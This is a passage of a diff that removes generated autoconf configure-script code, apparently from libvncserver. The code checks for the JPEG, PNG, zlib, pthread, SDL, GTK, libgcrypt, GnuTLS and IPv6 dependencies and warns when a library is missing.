- if test ! -z "$with_jpeg" -a "x$with_jpeg" != "xyes"; then
- # add user supplied directory to flags:
- CPPFLAGS="$CPPFLAGS -I$with_jpeg/include"
- LDFLAGS="$LDFLAGS -L$with_jpeg/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- # this is not complete... in general a rat's nest.
- LDFLAGS="$LDFLAGS -Xlinker -R$with_jpeg/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_jpeg/lib"
- fi
- fi
- if test "x$JPEG_LDFLAGS" != "x"; then
- LDFLAGS="$saved_LDFLAGS"
- LIBS="$LIBS $JPEG_LDFLAGS"
- else
- LIBS="-ljpeg"
- fi
- ac_fn_c_check_header_mongrel "$LINENO" "jpeglib.h" "ac_cv_header_jpeglib_h" "$ac_includes_default"
-if test "x$ac_cv_header_jpeglib_h" = xyes; then :
- HAVE_JPEGLIB_H="true"
-fi
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for jpeg_CreateCompress in libjpeg" >&5
-$as_echo_n "checking for jpeg_CreateCompress in libjpeg... " >&6; }
- if test "x$HAVE_JPEGLIB_H" = "xtrue"; then
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char jpeg_CreateCompress ();
-int
-main ()
-{
-return jpeg_CreateCompress ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; };
-
-$as_echo "@%:@define HAVE_LIBJPEG 1" >>confdefs.h
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }; HAVE_JPEGLIB_H=""
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- fi
- if test "x$HAVE_JPEGLIB_H" != "xtrue"; then
- # restore old flags on failure:
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- LIBS="$saved_LIBS"
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libjpeg compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libjpeg is in a non-standard location use --with-jpeg=DIR to
-indicate the header file is in DIR/include/jpeglib.h and the library
-in DIR/lib/libjpeg.a. You can also set the JPEG_LDFLAGS variable to
-specify more detailed linker flags. A copy of libjpeg-turbo may be
-obtained from: https://sourceforge.net/projects/libjpeg-turbo/files/
-A copy of libjpeg may be obtained from: http://ijg.org/files/
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libjpeg compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libjpeg is in a non-standard location use --with-jpeg=DIR to
-indicate the header file is in DIR/include/jpeglib.h and the library
-in DIR/lib/libjpeg.a. You can also set the JPEG_LDFLAGS variable to
-specify more detailed linker flags. A copy of libjpeg-turbo may be
-obtained from: https://sourceforge.net/projects/libjpeg-turbo/files/
-A copy of libjpeg may be obtained from: http://ijg.org/files/
-==========================================================================
-" >&2;}
- sleep 5
- fi
-
- if test "x$HAVE_JPEGLIB_H" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether JPEG library is libjpeg-turbo" >&5
-$as_echo_n "checking whether JPEG library is libjpeg-turbo... " >&6; }
-
- if test "x$cross_compiling" != "xyes"; then
- if test "$cross_compiling" = yes; then :
- { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
-$as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
-as_fn_error $? "cannot run test program while cross compiling
-See \`config.log' for more details" "$LINENO" 5; }
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdio.h>
- #include <jpeglib.h>
-int
-main ()
-{
-struct jpeg_compress_struct cinfo;
- struct jpeg_error_mgr jerr;
- cinfo.err=jpeg_std_error(&jerr);
- jpeg_create_compress(&cinfo);
- cinfo.input_components = 3;
- jpeg_set_defaults(&cinfo);
- cinfo.in_color_space = JCS_EXT_RGB;
- jpeg_default_colorspace(&cinfo);
- return 0;
- ;
- return 0;
-}
-
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- HAVE_LIBJPEG_TURBO="true"; { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
- else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdio.h>
- #include <jpeglib.h>
-int
-main ()
-{
-struct jpeg_compress_struct cinfo;
- struct jpeg_error_mgr jerr;
- cinfo.err=jpeg_std_error(&jerr);
- jpeg_create_compress(&cinfo);
- cinfo.input_components = 3;
- jpeg_set_defaults(&cinfo);
- cinfo.in_color_space = JCS_EXT_RGB;
- jpeg_default_colorspace(&cinfo);
- return 0;
- ;
- return 0;
-}
-
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- HAVE_LIBJPEG_TURBO="true"; { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- fi
- fi
-
- if test "x$HAVE_JPEGLIB_H" = "xtrue" -a "x$HAVE_LIBJPEG_TURBO" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libjpeg library you are building against is not libjpeg-turbo.
-Performance will be reduced. You can obtain libjpeg-turbo from:
-https://sourceforge.net/projects/libjpeg-turbo/files/ ***
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libjpeg library you are building against is not libjpeg-turbo.
-Performance will be reduced. You can obtain libjpeg-turbo from:
-https://sourceforge.net/projects/libjpeg-turbo/files/ ***
-==========================================================================
-" >&2;}
- fi
-
-fi
-
-
-@%:@ Check whether --with-png was given.
-if test "${with_png+set}" = set; then :
- withval=$with_png;
-fi
-
-
-# At this point:
-# no png on command line with_png=""
-# -with-png with_png="yes"
-# -without-png with_png="no"
-# -with-png=/foo/dir with_png="/foo/dir"
-
-if test "x$with_png" != "xno"; then
- if test ! -z "$with_png" -a "x$with_png" != "xyes"; then
- # add user supplied directory to flags:
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- CPPFLAGS="$CPPFLAGS -I$with_png/include"
- LDFLAGS="$LDFLAGS -L$with_png/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- # this is not complete... in general a rat's nest.
- LDFLAGS="$LDFLAGS -Xlinker -R$with_png/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_png/lib"
- fi
- fi
- ac_fn_c_check_header_mongrel "$LINENO" "png.h" "ac_cv_header_png_h" "$ac_includes_default"
-if test "x$ac_cv_header_png_h" = xyes; then :
- HAVE_PNGLIB_H="true"
-fi
-
-
- if test "x$HAVE_PNGLIB_H" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for png_create_write_struct in -lpng" >&5
-$as_echo_n "checking for png_create_write_struct in -lpng... " >&6; }
-if ${ac_cv_lib_png_png_create_write_struct+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lpng $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char png_create_write_struct ();
-int
-main ()
-{
-return png_create_write_struct ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_png_png_create_write_struct=yes
-else
- ac_cv_lib_png_png_create_write_struct=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_png_png_create_write_struct" >&5
-$as_echo "$ac_cv_lib_png_png_create_write_struct" >&6; }
-if test "x$ac_cv_lib_png_png_create_write_struct" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBPNG 1
-_ACEOF
-
- LIBS="-lpng $LIBS"
-
-else
- HAVE_PNGLIB_H=""
-fi
-
- fi
- if test ! -z "$with_png" -a "x$with_png" != "xyes"; then
- if test "x$HAVE_PNGLIB_H" != "xtrue"; then
- # restore old flags on failure:
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- fi
- fi
- if test "$build_x11vnc" = "yes"; then
- if test "x$HAVE_PNGLIB_H" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libpng compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libpng is in a non-standard location use --with-png=DIR to
-indicate the header file is in DIR/include/png.h and the library
-in DIR/lib/libpng.a. A copy of libpng may be obtained from:
-http://www.libpng.org/pub/png/libpng.html
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libpng compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libpng is in a non-standard location use --with-png=DIR to
-indicate the header file is in DIR/include/png.h and the library
-in DIR/lib/libpng.a. A copy of libpng may be obtained from:
-http://www.libpng.org/pub/png/libpng.html
-==========================================================================
-" >&2;}
- sleep 5
- fi
- fi
-fi
-
-
-@%:@ Check whether --with-libz was given.
-if test "${with_libz+set}" = set; then :
- withval=$with_libz;
-fi
-
-
-@%:@ Check whether --with-zlib was given.
-if test "${with_zlib+set}" = set; then :
- withval=$with_zlib;
-fi
-
-
-if test "x$with_zlib" != "xno" -a "x$with_libz" != "xno"; then
- if test ! -z "$with_zlib" -a "x$with_zlib" != "xyes"; then
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- CPPFLAGS="$CPPFLAGS -I$with_zlib/include"
- LDFLAGS="$LDFLAGS -L$with_zlib/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- LDFLAGS="$LDFLAGS -Xlinker -R$with_zlib/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_zlib/lib"
- fi
- fi
- ac_fn_c_check_header_mongrel "$LINENO" "zlib.h" "ac_cv_header_zlib_h" "$ac_includes_default"
-if test "x$ac_cv_header_zlib_h" = xyes; then :
- HAVE_ZLIB_H="true"
-fi
-
-
- if test "x$HAVE_ZLIB_H" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for deflate in -lz" >&5
-$as_echo_n "checking for deflate in -lz... " >&6; }
-if ${ac_cv_lib_z_deflate+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lz $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char deflate ();
-int
-main ()
-{
-return deflate ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_z_deflate=yes
-else
- ac_cv_lib_z_deflate=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_z_deflate" >&5
-$as_echo "$ac_cv_lib_z_deflate" >&6; }
-if test "x$ac_cv_lib_z_deflate" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBZ 1
-_ACEOF
-
- LIBS="-lz $LIBS"
-
-else
- HAVE_ZLIB_H=""
-fi
-
- fi
- if test ! -z "$with_zlib" -a "x$with_zlib" != "xyes"; then
- if test "x$HAVE_ZLIB_H" != "xtrue"; then
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- fi
- fi
- if test "$build_x11vnc" = "yes"; then
- if test "x$HAVE_ZLIB_H" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libz compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libz is in a non-standard location use --with-zlib=DIR to indicate the
-header file is in DIR/include/zlib.h and the library in DIR/lib/libz.a.
-A copy of libz may be obtained from: http://www.gzip.org/zlib/
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libz compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libz is in a non-standard location use --with-zlib=DIR to indicate the
-header file is in DIR/include/zlib.h and the library in DIR/lib/libz.a.
-A copy of libz may be obtained from: http://www.gzip.org/zlib/
-==========================================================================
-" >&2;}
- sleep 5
- fi
- fi
-fi
-
-
-@%:@ Check whether --with-pthread was given.
-if test "${with_pthread+set}" = set; then :
- withval=$with_pthread;
-fi
-
-
-if test "x$with_pthread" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "pthread.h" "ac_cv_header_pthread_h" "$ac_includes_default"
-if test "x$ac_cv_header_pthread_h" = xyes; then :
- HAVE_PTHREAD_H="true"
-fi
-
-
- if test ! -z "$HAVE_PTHREAD_H"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pthread_mutex_lock in -lpthread" >&5
-$as_echo_n "checking for pthread_mutex_lock in -lpthread... " >&6; }
-if ${ac_cv_lib_pthread_pthread_mutex_lock+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lpthread $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char pthread_mutex_lock ();
-int
-main ()
-{
-return pthread_mutex_lock ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_pthread_pthread_mutex_lock=yes
-else
- ac_cv_lib_pthread_pthread_mutex_lock=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pthread_pthread_mutex_lock" >&5
-$as_echo "$ac_cv_lib_pthread_pthread_mutex_lock" >&6; }
-if test "x$ac_cv_lib_pthread_pthread_mutex_lock" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBPTHREAD 1
-_ACEOF
-
- LIBS="-lpthread $LIBS"
-
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pthread_mutex_lock in -lpthread" >&5
-$as_echo_n "checking for pthread_mutex_lock in -lpthread... " >&6; }
-if ${ac_cv_lib_pthread_pthread_mutex_lock+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lpthread $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char pthread_mutex_lock ();
-int
-main ()
-{
-return pthread_mutex_lock ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_pthread_pthread_mutex_lock=yes
-else
- ac_cv_lib_pthread_pthread_mutex_lock=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pthread_pthread_mutex_lock" >&5
-$as_echo "$ac_cv_lib_pthread_pthread_mutex_lock" >&6; }
-if test "x$ac_cv_lib_pthread_pthread_mutex_lock" = xyes; then :
- HAVE_LIBPTHREAD="true"
-fi
-
- fi
-fi
- if test ! -z "$HAVE_LIBPTHREAD"; then
- HAVE_LIBPTHREAD_TRUE=
- HAVE_LIBPTHREAD_FALSE='#'
-else
- HAVE_LIBPTHREAD_TRUE='#'
- HAVE_LIBPTHREAD_FALSE=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for __thread" >&5
-$as_echo_n "checking for __thread... " >&6; }
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-static __thread int p = 0
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-$as_echo "@%:@define HAVE_TLS 1" >>confdefs.h
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-
-# tightvnc-filetransfer implemented using threads:
-if test -z "$HAVE_LIBPTHREAD"; then
- with_tightvnc_filetransfer=""
-fi
-if test "x$with_tightvnc_filetransfer" = "xyes"; then
- $as_echo "@%:@define WITH_TIGHTVNC_FILETRANSFER 1" >>confdefs.h
-
-fi
- if test "$with_tightvnc_filetransfer" = "yes"; then
- WITH_TIGHTVNC_FILETRANSFER_TRUE=
- WITH_TIGHTVNC_FILETRANSFER_FALSE='#'
-else
- WITH_TIGHTVNC_FILETRANSFER_TRUE='#'
- WITH_TIGHTVNC_FILETRANSFER_FALSE=
-fi
-
-
-# websockets implemented using base64 from resolve
-if test "x$HAVE_B64" != "xtrue"; then
- with_websockets=""
-fi
-if test "x$with_websockets" = "xyes"; then
- LIBS="$LIBS -lresolv $SSL_LIBS"
- $as_echo "@%:@define WITH_WEBSOCKETS 1" >>confdefs.h
-
-fi
- if test "$with_websockets" = "yes"; then
- WITH_WEBSOCKETS_TRUE=
- WITH_WEBSOCKETS_FALSE='#'
-else
- WITH_WEBSOCKETS_TRUE='#'
- WITH_WEBSOCKETS_FALSE=
-fi
-
-
- if test ! -z "$HAVE_ZLIB_H"; then
- HAVE_LIBZ_TRUE=
- HAVE_LIBZ_FALSE='#'
-else
- HAVE_LIBZ_TRUE='#'
- HAVE_LIBZ_FALSE=
-fi
-
- if test ! -z "$HAVE_JPEGLIB_H"; then
- HAVE_LIBJPEG_TRUE=
- HAVE_LIBJPEG_FALSE='#'
-else
- HAVE_LIBJPEG_TRUE='#'
- HAVE_LIBJPEG_FALSE=
-fi
-
- if test ! -z "$HAVE_PNGLIB_H"; then
- HAVE_LIBPNG_TRUE=
- HAVE_LIBPNG_FALSE='#'
-else
- HAVE_LIBPNG_TRUE='#'
- HAVE_LIBPNG_FALSE=
-fi
-
-
-
-SDLCONFIG="sdl-config"
-
-@%:@ Check whether --with-sdl-config was given.
-if test "${with_sdl_config+set}" = set; then :
- withval=$with_sdl_config;
- if test "$withval" != "yes" -a "$withval" != ""; then
- SDLCONFIG=$withval
- fi
-
-fi
-
-
-if test -z "$with_sdl"; then
- if $SDLCONFIG --version >/dev/null 2>&1; then
- with_sdl=yes
- SDL_CFLAGS=`$SDLCONFIG --cflags`
- SDL_LIBS=`$SDLCONFIG --libs`
- else
- with_sdl=no
- fi
-fi
- if test "x$with_sdl" = "xyes"; then
- HAVE_LIBSDL_TRUE=
- HAVE_LIBSDL_FALSE='#'
-else
- HAVE_LIBSDL_TRUE='#'
- HAVE_LIBSDL_FALSE=
-fi
-
-
-
-
-
-# Check for GTK+. if present, build the GTK+ vnc viewer example
-PKG_CHECK_MODULES(GTK, gtk+-2.0,,:)
- if test ! -z "$GTK_LIBS"; then
- HAVE_LIBGTK_TRUE=
- HAVE_LIBGTK_FALSE='#'
-else
- HAVE_LIBGTK_TRUE='#'
- HAVE_LIBGTK_FALSE=
-fi
-
-
-
-MINGW=`echo $host_os | grep mingw32 2>/dev/null`
- if test ! -z "$MINGW" ; then
- MINGW_TRUE=
- MINGW_FALSE='#'
-else
- MINGW_TRUE='#'
- MINGW_FALSE=
-fi
-
-if test ! -z "$MINGW"; then
- WSOCKLIB="-lws2_32"
- LDFLAGS="$LDFLAGS -no-undefined"
-fi
-
-
-# Check for libgcrypt
-
-
-@%:@ Check whether --with-gcrypt was given.
-if test "${with_gcrypt+set}" = set; then :
- withval=$with_gcrypt;
-fi
-
-
-@%:@ Check whether --with-client-gcrypt was given.
-if test "${with_client_gcrypt+set}" = set; then :
- withval=$with_client_gcrypt;
-fi
-
-
-if test "x$with_gcrypt" != "xno"; then
-
-@%:@ Check whether --with-libgcrypt-prefix was given.
-if test "${with_libgcrypt_prefix+set}" = set; then :
- withval=$with_libgcrypt_prefix; libgcrypt_config_prefix="$withval"
-else
- libgcrypt_config_prefix=""
-fi
-
- if test x$libgcrypt_config_prefix != x ; then
- if test x${LIBGCRYPT_CONFIG+set} != xset ; then
- LIBGCRYPT_CONFIG=$libgcrypt_config_prefix/bin/libgcrypt-config
- fi
- fi
-
- # Extract the first word of "libgcrypt-config", so it can be a program name with args.
-set dummy libgcrypt-config; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_path_LIBGCRYPT_CONFIG+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $LIBGCRYPT_CONFIG in
- [\\/]* | ?:[\\/]*)
- ac_cv_path_LIBGCRYPT_CONFIG="$LIBGCRYPT_CONFIG" # Let the user override the test with a path.
- ;;
- *)
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_LIBGCRYPT_CONFIG="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- test -z "$ac_cv_path_LIBGCRYPT_CONFIG" && ac_cv_path_LIBGCRYPT_CONFIG="no"
- ;;
-esac
-fi
-LIBGCRYPT_CONFIG=$ac_cv_path_LIBGCRYPT_CONFIG
-if test -n "$LIBGCRYPT_CONFIG"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $LIBGCRYPT_CONFIG" >&5
-$as_echo "$LIBGCRYPT_CONFIG" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
- tmp=1.4.0
- if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
- req_libgcrypt_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
- min_libgcrypt_version=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\2/'`
- else
- req_libgcrypt_api=0
- min_libgcrypt_version="$tmp"
- fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for LIBGCRYPT - version >= $min_libgcrypt_version" >&5
-$as_echo_n "checking for LIBGCRYPT - version >= $min_libgcrypt_version... " >&6; }
- ok=no
- if test "$LIBGCRYPT_CONFIG" != "no" ; then
- req_major=`echo $min_libgcrypt_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\1/'`
- req_minor=`echo $min_libgcrypt_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\2/'`
- req_micro=`echo $min_libgcrypt_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\3/'`
- libgcrypt_config_version=`$LIBGCRYPT_CONFIG --version`
- major=`echo $libgcrypt_config_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).*/\1/'`
- minor=`echo $libgcrypt_config_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).*/\2/'`
- micro=`echo $libgcrypt_config_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).*/\3/'`
- if test "$major" -gt "$req_major"; then
- ok=yes
- else
- if test "$major" -eq "$req_major"; then
- if test "$minor" -gt "$req_minor"; then
- ok=yes
- else
- if test "$minor" -eq "$req_minor"; then
- if test "$micro" -ge "$req_micro"; then
- ok=yes
- fi
- fi
- fi
- fi
- fi
- fi
- if test $ok = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes ($libgcrypt_config_version)" >&5
-$as_echo "yes ($libgcrypt_config_version)" >&6; }
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- fi
- if test $ok = yes; then
- # If we have a recent libgcrypt, we should also check that the
- # API is compatible
- if test "$req_libgcrypt_api" -gt 0 ; then
- tmp=`$LIBGCRYPT_CONFIG --api-version 2>/dev/null || echo 0`
- if test "$tmp" -gt 0 ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking LIBGCRYPT API version" >&5
-$as_echo_n "checking LIBGCRYPT API version... " >&6; }
- if test "$req_libgcrypt_api" -eq "$tmp" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: okay" >&5
-$as_echo "okay" >&6; }
- else
- ok=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: does not match. want=$req_libgcrypt_api got=$tmp" >&5
-$as_echo "does not match. want=$req_libgcrypt_api got=$tmp" >&6; }
- fi
- fi
- fi
- fi
- if test $ok = yes; then
- LIBGCRYPT_CFLAGS=`$LIBGCRYPT_CONFIG --cflags`
- LIBGCRYPT_LIBS=`$LIBGCRYPT_CONFIG --libs`
- :
- else
- LIBGCRYPT_CFLAGS=""
- LIBGCRYPT_LIBS=""
- with_client_gcrypt=no
- fi
-
-
-
- CFLAGS="$CFLAGS $LIBGCRYPT_CFLAGS"
- LIBS="$LIBS $LIBGCRYPT_LIBS"
- if test "x$with_client_gcrypt" != "xno"; then
- $as_echo "@%:@define WITH_CLIENT_GCRYPT 1" >>confdefs.h
-
- fi
-fi
-
-# Checks for GnuTLS
-
-
-@%:@ Check whether --with-gnutls was given.
-if test "${with_gnutls+set}" = set; then :
- withval=$with_gnutls;
-fi
-
-
-if test "x$with_gnutls" != "xno"; then
- PKG_CHECK_MODULES(GNUTLS, gnutls >= 2.4.0,,:)
- CFLAGS="$CFLAGS $GNUTLS_CFLAGS"
- LIBS="$LIBS $GNUTLS_LIBS"
-fi
- if test ! -z "$GNUTLS_LIBS"; then
- HAVE_GNUTLS_TRUE=
- HAVE_GNUTLS_FALSE='#'
-else
- HAVE_GNUTLS_TRUE='#'
- HAVE_GNUTLS_FALSE=
-fi
-
-if test ! -z "$GNUTLS_LIBS" ; then
- $as_echo "@%:@define HAVE_GNUTLS 1" >>confdefs.h
-
-fi
-
-
-# warn if neither GnuTLS nor OpenSSL are available
-if test -z "$SSL_LIBS" -a -z "$GNUTLS_LIBS"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** No encryption library could be found. ***
-A libvncserver/libvncclient built this way will not support SSL encryption.
-To enable SSL install the necessary development packages (perhaps it is named
-something like libssl-dev or gnutls-dev) and run configure again.
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** No encryption library could be found. ***
-A libvncserver/libvncclient built this way will not support SSL encryption.
-To enable SSL install the necessary development packages (perhaps it is named
-something like libssl-dev or gnutls-dev) and run configure again.
-==========================================================================
-" >&2;}
- sleep 5
-fi
-
-
-# IPv6
-
-
-@%:@ Check whether --with-ipv6 was given.
-if test "${with_ipv6+set}" = set; then :
- withval=$with_ipv6;
-fi
-
-if test "x$with_ipv6" != "xno"; then
- ac_fn_c_check_func "$LINENO" "getaddrinfo" "ac_cv_func_getaddrinfo"
-if test "x$ac_cv_func_getaddrinfo" = xyes; then :
- $as_echo "@%:@define IPv6 1" >>confdefs.h
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for getaddrinfo in -lsocket" >&5
-$as_echo_n "checking for getaddrinfo in -lsocket... " >&6; }
-if ${ac_cv_lib_socket_getaddrinfo+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsocket $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char getaddrinfo ();
-int
-main ()
-{
-return getaddrinfo ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
